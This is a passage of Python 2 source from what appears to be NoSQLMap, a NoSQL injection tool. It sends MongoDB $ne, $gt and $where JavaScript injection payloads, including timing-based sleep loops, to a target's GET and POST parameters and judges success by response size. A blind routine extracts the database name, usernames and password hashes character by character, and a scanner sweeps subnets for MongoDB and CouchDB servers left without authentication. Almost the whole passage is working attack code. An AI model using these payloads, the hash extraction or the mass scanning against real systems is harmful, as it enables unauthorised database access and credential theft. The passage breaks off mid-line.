vulnAddrs = [] - global possAddrs - possAddrs = [] - timeVulnsStr = [] - timeVulnsInt = [] - appUp = False - strTbAttack = False - intTbAttack = False - trueStr = False - trueInt = False - global postData - global neDict - global gtDict - global requestHeaders - testNum = 1 - - #Verify app is working. - print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - - if https == "OFF": - appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) - - elif https == "ON": - appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) - - try: - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - appRespCode = urllib2.urlopen(req).getcode() - - if appRespCode == 200: - - normLength = int(len(urllib2.urlopen(req).read())) - timeReq = urllib2.urlopen(req) - start = time.time() - page = timeReq.read() - end = time.time() - timeReq.close() - timeBase = round((end - start), 3) - - if verb == "ON": - print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - - else: - print "App is up!" - appUp = True - else: - print "Got " + str(appRespCode) + "from the app, check your options." - - except Exception,e: - print e - print "Looks like the server didn't respond. Check your options." - - if appUp == True: - - menuItem = 1 - print "List of parameters:" - for params in postData.keys(): - print str(menuItem) + "-" + params - menuItem += 1 - - try: - injIndex = raw_input("Which parameter should we inject? ") - injOpt = str(postData.keys()[int(injIndex)-1]) - print "Injecting the " + injOpt + " parameter..." - except: - raw_input("Something went wrong. Press enter to return to the main menu...") - return - - injectSize = raw_input("Baseline test-Enter random string size: ") - injectString = randInjString(int(injectSize)) - print "Using " + injectString + " for injection testing.\n" - - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freak out the app. - postData.update({injOpt:injectString}) - if verb == "ON": - print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - - else: - print "Sending random parameter value..." - - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - randLength = int(len(urllib2.urlopen(req).read())) - print "Got response length of " + str(randLength) + "." - - randNormDelta = abs(normLength - randLength) - - if randNormDelta == 0: - print "No change in response size injecting a random parameter..\n" - else: - print "Random value variance: " + str(randNormDelta) + "\n" - - #Generate not equals injection - neDict = postData - neDict[injOpt + "[$ne]"] = neDict[injOpt] - del neDict[injOpt] - body = urllib.urlencode(neDict) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." - - else: - print "Test 1: PHP/ExpressJS != associative array injection" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - else: - testNum +=1 - print "\n" - - #Delete the extra key - del postData[injOpt + "[$ne]"] - - #generate $gt injection - gtDict = postData - gtDict.update({injOpt:""}) - gtDict[injOpt + "[$gt]"] = gtDict[injOpt] - del gtDict[injOpt] - body = urllib.urlencode(gtDict) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." - - else: - print "Test 2: PHP/ExpressJS > Undefined Injection" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + str(postData) - - else: - print "Test 3: $where injection (string escape)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - - print "\n" - - postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + str(postData) - else: - print "Test 4: $where injection (integer escape)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - print "\n" - - #Start a single record attack in case the app expects only one record back - postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + str(postData) - - else: - print "Test 5: $where injection string escape (single record)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - else: - testNum += 1 - print "\n" - - postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - if verb == "ON": - print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + str(postData) - - else: - print "Test 6: $where injection integer escape (single record)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - else: - testNum += 1 - print "\n" - - postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - - if verb == "ON": - print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + str(postData) - - else: - print "Test 7: This != injection (string escape)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - print "\n" - else: - testNum += 1 - - postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) - body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body, requestHeaders) - - if verb == "ON": - print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + str(postData) - else: - print "Test 8: This != injection (integer escape)" - - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - else: - testNum += 1 - print "\n" - - doTimeAttack = raw_input("Start timing based tests (y/n)? ") - - if doTimeAttack == "y" or doTimeAttack == "Y": - print "Starting Javascript string escape time based injection..." - postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) - body = urllib.urlencode(postData) - conn = urllib2.urlopen(req,body) - start = time.time() - page = conn.read() - end = time.time() - conn.close() - print str(end) - print str(start) - strTimeDelta = (int(round((end - start), 3)) - timeBase) - #print str(strTimeDelta) - if strTimeDelta > 25: - print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." - strTbAttack = True - - else: - print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." - strTbAttack = False - - print "Starting Javascript integer escape time based injection..." - - postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) - body = urllib.urlencode(postData) - start = time.time() - conn = urllib2.urlopen(req,body) - page = conn.read() - end = time.time() - conn.close() - print str(end) - print str(start) - intTimeDelta = ((end-start) - timeBase) - #print str(strTimeDelta) - if intTimeDelta > 25: - print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." - intTbAttack = True - - else: - print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." - intTbAttack = False - - print "\n" - print "Exploitable requests:" - print "\n".join(vulnAddrs) - print "\n" - print "Possibly vulnerable requests:" - print"\n".join(possAddrs) - print "\n" - print "Timing based attacks:" - - if strTbAttack == True: - print "String attack-Successful" - else: - print "String attack-Unsuccessful" - if intTbAttack == True: - print "Integer attack-Successful" - else: - print "Integer attack-Unsuccessful" - - fileOut = raw_input("Save results to file (y/n)? ") - - if fileOut in yes_tag: - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable Requests:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable Requests:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") - else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() - - raw_input("Press enter to continue...") - return() - -def getApps(): - print "Web App Attacks (GET)" - print "===============" - paramName = [] - global testNum - testNum = 1 - paramValue = [] - global vulnAddrs - vulnAddrs = [] - global possAddrs - possAddrs = [] - timeVulnsStr = [] - timeVulnsInt = [] - appUp = False - strTbAttack = False - intTbAttack = False - trueStr = False - trueInt = False - global lt24 - lt24 = False - global str24 - str24 = False - global int24 - int24 = False - global requestHeaders - - #Verify app is working. - print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - - if https == "OFF": - appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) - - elif https == "ON": - appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) - try: - req = urllib2.Request(appURL, None, requestHeaders) - appRespCode = urllib2.urlopen(req).getcode() - if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) - timeReq = urllib2.urlopen(req) - start = time.time() - page = timeReq.read() - end = time.time() - timeReq.close() - timeBase = round((end - start), 3) - - if verb == "ON": - print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - - else: - print "App is up!" - appUp = True - - else: - print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: - print e - print "Looks like the server didn't respond. Check your options." - - if appUp == True: - - injectSize = raw_input("Baseline test-Enter random string size: ") - injectString = randInjString(int(injectSize)) - print "Using " + injectString + " for injection testing.\n" - - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. - if "?" not in appURL: - print "No URI parameters provided for GET request...Check your options.\n" - raw_input("Press enter to continue...") - return() - - randomUri = buildUri(appURL,injectString) - print "URI : " + randomUri - req = urllib2.Request(randomUri, None, requestHeaders) - - if verb == "ON": - print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" - else: - print "Sending random parameter value..." - - randLength = int(len(urllib2.urlopen(req).read())) - print "Got response length of " + str(randLength) + "." - randNormDelta = abs(normLength - randLength) - - if randNormDelta == 0: - print "No change in response size injecting a random parameter..\n" - else: - print "Random value variance: " + str(randNormDelta) + "\n" - - if verb == "ON": - print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." - else: - print "Test 1: PHP/ExpressJS != associative array injection" - - #Test for errors returned by injection - req = urllib2.Request(uriArray[1], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - - print "\n" - if verb == "ON": - print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + uriArray[2] - else: - print "Test 2: $where injection (string escape)" - - req = urllib2.Request(uriArray[2], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - else: - testNum += 1 - - print "\n" - if verb == "ON": - print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + uriArray[3] - else: - print "Test 3: $where injection (integer escape)" - - req = urllib2.Request(uriArray[3], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum +=1 - - else: - testNum +=1 - - #Start a single record attack in case the app expects only one record back - print "\n" - if verb == "ON": - print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + uriArray[4] - else: - print "Test 4: $where injection string escape (single record)" - - req = urllib2.Request(uriArray[4], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - - print "\n" - if verb == "ON": - print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + uriArray[5] - else: - print "Test 5: $where injection integer escape (single record)" - - req = urllib2.Request(uriArray[5], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum +=1 - - else: - testNum += 1 - - print "\n" - if verb == "ON": - print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + uriArray[6] - else: - print "Test 6: This != injection (string escape)" - - req = urllib2.Request(uriArray[6], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - - print "\n" - if verb == "ON": - print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + uriArray[7] - else: - print "Test 7: This != injection (integer escape)" - - req = urllib2.Request(uriArray[7], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - else: - testNum += 1 - print "\n" - - if verb == "ON": - print "Testing PHP/ExpressJS > undefined attack for all records..." - print "Injecting " + uriArray[8] - - else: - print "Test 8: PHP/ExpressJS > Undefined Injection" - - req = urllib2.Request(uriArray[8], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - - if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - - doTimeAttack = raw_input("Start timing based tests (y/n)? ") - - if doTimeAttack in yes_tag: - print "Starting Javascript string escape time based injection..." - req = urllib2.Request(uriArray[18], None, requestHeaders) - start = time.time() - strTimeInj = urllib2.urlopen(req) - page = strTimeInj.read() - end = time.time() - strTimeInj.close() - #print str(end) - #print str(start) - strTimeDelta = (int(round((end - start), 3)) - timeBase) - #print str(strTimeDelta) - if strTimeDelta > 25: - print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." - strTbAttack = True - - else: - print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." - strTbAttack = False - - print "Starting Javascript integer escape time based injection..." - req = urllib2.Request(uriArray[9], None, requestHeaders) - start = time.time() - intTimeInj = urllib2.urlopen(req) - page = intTimeInj.read() - end = time.time() - intTimeInj.close() - #print str(end) - #print str(start) - intTimeDelta = (int(round((end - start), 3)) - timeBase) - #print str(strTimeDelta) - if intTimeDelta > 25: - print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." - intTbAttack = True - - else: - print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." - intTbAttack = False - - if lt24 == True: - bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") - - if bfInfo in yes_tag: - getDBInfo() - - - print "\n" - print "Vulnerable URLs:" - print "\n".join(vulnAddrs) - print "\n" - print "Possibly vulnerable URLs:" - print"\n".join(possAddrs) - print "\n" - print "Timing based attacks:" - - if strTbAttack == True: - print "String attack-Successful" - else: - print "String attack-Unsuccessful" - if intTbAttack == True: - print "Integer attack-Successful" - else: - print "Integer attack-Unsuccessful" - - fileOut = raw_input("Save results to file (y/n)? ") - - if fileOut in yes_tag: - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable URLs:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable URLs:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") - else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() - - raw_input("Press enter to continue...") - return() - -def errorTest (errorCheck,testNum): - global possAddrs - global httpMethod - global neDict - global gtDict - global postData - - if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: - print "Injection returned a MongoDB Error. Injection may be possible." - - if httpMethod == "GET": - possAddrs.append(uriArray[testNum]) - return True - - else: - if testNum == 1: - possAddrs.append(str(neDict)) - return True - - elif testNum == 2: - possAddrs.append(str(gtDict)) - return True - - else: - possAddrs.append(str(postData)) - return True - else: - return False - - - -def checkResult(baseSize,respSize,testNum): - global vulnAddrs - global possAddrs - global lt24 - global str24 - global int24 - global httpMethod - global neDict - global gtDict - global postData - - delta = abs(respSize - baseSize) - if (delta >= 100) and (respSize != 0) : - if verb == "ON": - print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" - else: - print "Successful injection!" - - if httpMethod == "GET": - vulnAddrs.append(uriArray[testNum]) - else: - if testNum == 1: - vulnAddrs.append(str(neDict)) - - elif testNum == 2: - vulnAddrs.append(str(gtDict)) - else: - vulnAddrs.append(str(postData)) - - if testNum == 3 or testNum == 5: - lt24 = True - str24 = True - - elif testNum == 4 or testNum == 6: - lt24 = True - int24 = True - return - - elif (delta > 0) and (delta < 100) and (respSize != 0) : - if verb == "ON": - print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " - else: - print "Possible injection." - - if httpMethod == "GET": - possAddrs.append(uriArray[testNum]) - else: - if testNum == 1: - possAddrs.append(str(neDict)) - else: - possAddrs.append(str(postData)) - return - - elif (delta == 0): - if verb == "ON": - print "Random string response size and not equals injection were the same. Injection did not work." - else: - print "Injection failed." - return - - else: - if verb == "ON": - print "Injected response was smaller than random response. Injection may have worked but requires verification." - else: - print "Possible injection." - if httpMethod == "GET": - possAddrs.append(uriArray[testNum]) - else: - if testNum == 1: - possAddrs.append(str(neDict)) - else: - possAddrs.append(str(postData)) - return - -def randInjString(size): - print "What format should the random string take?" - print "1-Alphanumeric" - print "2-Letters only" - print "3-Numbers only" - print "4-Email address" - format = True - - while format: - format = raw_input("Select an option: ") - - if format == "1": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "2": - chars = string.ascii_letters - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "3": - chars = string.digits - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "4": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - else: - format = True - print "Invalid selection." - - -def buildUri(origUri, randValue): - paramName = [] - paramValue = [] - global uriArray - uriArray = ["","","","","","","","","","","","","","","","","","",""] - injOpt = "" - - #Split the string between the path and parameters, and then split each parameter - try: - split_uri = origUri.split("?") - params = split_uri[1].split("&") - - except: - raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") - return - - for item in params: - index = item.find("=") - paramName.append(item[0:index]) - paramValue.append(item[index + 1:len(item)]) - - menuItem = 1 - print "List of parameters:" - for params in paramName: - print str(menuItem) + "-" + params - menuItem += 1 - - try: - injIndex = raw_input("Which parameter should we inject? ") - injOpt = str(paramName[int(injIndex)-1]) - print "Injecting the " + injOpt + " parameter..." - - except: - raw_input("Something went wrong. Press enter to return to the main menu...") - return - - x = 0 - uriArray[0] = split_uri[0] + "?" - uriArray[1] = split_uri[0] + "?" - uriArray[2] = split_uri[0] + "?" - uriArray[3] = split_uri[0] + "?" - uriArray[4] = split_uri[0] + "?" - uriArray[5] = split_uri[0] + "?" - uriArray[6] = split_uri[0] + "?" - uriArray[7] = split_uri[0] + "?" - uriArray[8] = split_uri[0] + "?" - uriArray[9] = split_uri[0] + "?" - uriArray[10] = split_uri[0] + "?" - uriArray[11] = split_uri[0] + "?" - uriArray[12] = split_uri[0] + "?" - uriArray[13] = split_uri[0] + "?" - uriArray[14] = split_uri[0] + "?" - uriArray[15] = split_uri[0] + "?" - uriArray[16] = split_uri[0] + "?" - uriArray[17] = split_uri[0] + "?" - uriArray[18] = split_uri[0] + "?" - - for item in paramName: - if paramName[x] == injOpt: - uriArray[0] += paramName[x] + "=" + randValue + "&" - uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" - uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" - uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" - uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" - uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" - uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - uriArray[14] += paramName[x] + "a'; return true; var dum='a" - uriArray[15] += paramName[x] + "1; return true; var dum=2" - #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a\'; ---" - uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" - - else: - uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[1] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[2] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[3] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[4] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[5] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[6] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[7] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[8] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[9] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[10] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" - uriArray[18] += paramName[x] + "=" + paramValue[x] + "&" - x += 1 - - #Clip the extra & off the end of the URL - x = 0 - while x <= 17: - uriArray[x]= uriArray[x][:-1] - x += 1 - - return uriArray[0] - - -def massScan(): - global victim - global platform - optCheck = True - loadCheck = False - ping = False - success = [] - versions = [] - creds = [] - commError = [] - ipList = [] - print "\n" - print platform + " Default Access Scanner" - print "==============================" - print "1-Scan a subnet for default " + platform + " access" - print "2-Loads IPs to scan from a file" - print "3-Enable/disable host pings before attempting connection" - print "x-Return to main menu" - - while optCheck: - loadOpt = raw_input("Select an option: ") - - if loadOpt == "1": - subnet = raw_input("Enter subnet to scan: ") - - try: - for ip in ipcalc.Network(subnet): - ipList.append(str(ip)) - optCheck = False - except: - raw_input("Not a valid subnet. Press enter to return to main menu.") - return - - if loadOpt == "2": - while loadCheck == False: - loadPath = raw_input("Enter file name with IP list to scan: ") - - try: - with open (loadPath) as f: - ipList = f.readlines() - loadCheck = True - optCheck = False - except: - print "Couldn't open file." - - if loadOpt == "3": - if ping == False: - ping = True - print "Scan will ping host before connection attempt." - - elif ping == True: - ping = False - print "Scan will not ping host before connection attempt." - - if loadOpt == "x": - return - - - print "\n" - for target in ipList: - - if platform == "MongoDB": - result = nsmmongo.mongoScan(target.rstrip(),27017,ping) - - elif platform == "CouchDB": - result = nsmcouch.couchScan(target.rstrip(),5984,ping) - - if result[0] == 0: - print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." - success.append(target.rstrip()) - versions.append(result[1]) - - elif result[0] == 1: - print platform + " running but credentials required on " + target.rstrip() + "." - creds.append(target.rstrip()) #Future use - - elif result[0] == 2: - print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." - commError.append(target.rstrip()) #Future use - - elif result[0] == 3: - print "Couldn't connect to " + target.rstrip() + "." - - elif result[0] == 4: - print target.rstrip() + " didn't respond to ping." - - - print "\n\n" - select = True - while select: - saveEm = raw_input("Save scan results to CSV? (y/n):") - - if saveEm in yes_tag: - savePath = raw_input("Enter file name to save: ") - outCounter = 0 - try: - fo = open(savePath, "wb") - fo.write("IP Address," + platform + " Version\n") - for server in success: - fo.write(server + "," + versions[outCounter] + "\n" ) - outCounter += 1 - - fo.close() - print "Scan results saved!" - select = False - except: - print "Couldn't save scan results." - - elif saveEm in no_tag: - select = False - else: - select = True - - print "Discovered " + platform + " Servers with No Auth:" - print "IP" + " " + "Version" - - outCounter= 1 - - for server in success: - print str(outCounter) + "-" + server + " " + versions[outCounter - 1] - outCounter += 1 - - select = True - print "\n" - while select: - select = raw_input("Select a NoSQLMap target or press x to exit: ") - - if select == "x" or select == "X": - return - - elif select.isdigit() == True and int(select) <= outCounter: - victim = success[int(select) - 1] - optionSet[0] = True - raw_input("New target set! Press enter to return to the main menu.") - return - - else: - raw_input("Invalid selection.") - - - -def getDBInfo(): - curLen = 0 - nameLen = 0 - gotFullDb = False - gotNameLen = False - gotDbName = False - gotColLen = False - gotColName = False - gotUserCnt = False - finUser = False - dbName = "" - charCounter = 0 - nameCounter = 0 - usrCount = 0 - retrUsers = 0 - users = [] - hashes = [] - crackHash = "" - - chars = string.ascii_letters + string.digits - print "Getting baseline True query return size..." - trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") - #print "Debug " + str(trueUri) - req = urllib2.Request(trueUri, None, requestHeaders) - baseLen = int(len(urllib2.urlopen(req).read())) - print "Got baseline true query length of " + str(baseLen) - - print "Calculating DB name length..." - - while gotNameLen == False: - calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") - #print "Debug: " + calcUri - req = urllib2.Request(calcUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - #print "Debug length: " + str(lenUri) - - if lenUri == baseLen: - print "Got database name length of " + str(curLen) + " characters." - gotNameLen = True - - else: - curLen += 1 - - print "Database Name: ", - while gotDbName == False: - charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") - - req = urllib2.Request(charUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - dbName = dbName + chars[charCounter] - print chars[charCounter], - nameCounter += 1 - charCounter = 0 - - if nameCounter == curLen: - gotDbName = True - - - else: - charCounter += 1 - print "\n" - - getUserInf = raw_input("Get database users and password hashes (y/n)? ") - - if getUserInf in yes_tag: - charCounter = 0 - nameCounter = 0 - #find the total number of users on the database - while gotUserCnt == False: - usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") - - req = urllib2.Request(usrCntUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - print "Found " + str(usrCount) + " user(s)." - gotUserCnt = True - - else: - usrCount += 1 - - usrChars = 0 #total number of characters in username - charCounterUsr = 0 #position in the character array-Username - rightCharsUsr = 0 #number of correct characters-Username - rightCharsHash = 0 #number of correct characters-hash - charCounterHash = 0 #position in the character array-hash - username = "" - pwdHash = "" - charCountUsr = False - query = "{}" - - while retrUsers < usrCount: - if retrUsers == 0: - while charCountUsr == False: - #different query to get the first user vs. others - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") - - req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) - - if lenUri == baseLen: - #Got the right number of characters - charCountUsr = True - - else: - usrChars += 1 - - while rightCharsUsr < usrChars: - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") - - req = 